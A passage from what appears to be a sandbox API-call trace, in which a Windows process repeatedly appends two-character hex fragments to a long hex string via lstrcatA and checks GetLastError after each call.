	[0061.650] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d37", lpString2="7e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e"
	[0061.650] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e", lpString2="9c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c", lpString2="84" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c84") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c84"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c84", lpString2="21" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421", lpString2="46" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c842146") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c842146"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c842146", lpString2="9c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469c"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469c", lpString2="aa" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa", lpString2="90" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa90") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa90"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa90", lpString2="44" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044", lpString2="65" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa904465") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa904465"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa904465", lpString2="0b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650b"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650b", lpString2="d1" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1", lpString2="ef" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1ef") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1ef"
	[0061.651] GetLastError () returned 0x0
	[0061.651] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1ef", lpString2="fe" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe"
	[0061.651] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe", lpString2="73" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73", lpString2="e6" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e6") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e6"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e6", lpString2="54" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654", lpString2="ce" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654ce") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654ce"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654ce", lpString2="cd" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd", lpString2="9a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9a"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9a", lpString2="ac" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac", lpString2="56" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac56") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac56"
	[0061.652] GetLastError () returned 0x0
	[0061.652] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac56", lpString2="5e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e"
	[0061.652] GetLastError () returned 0x0
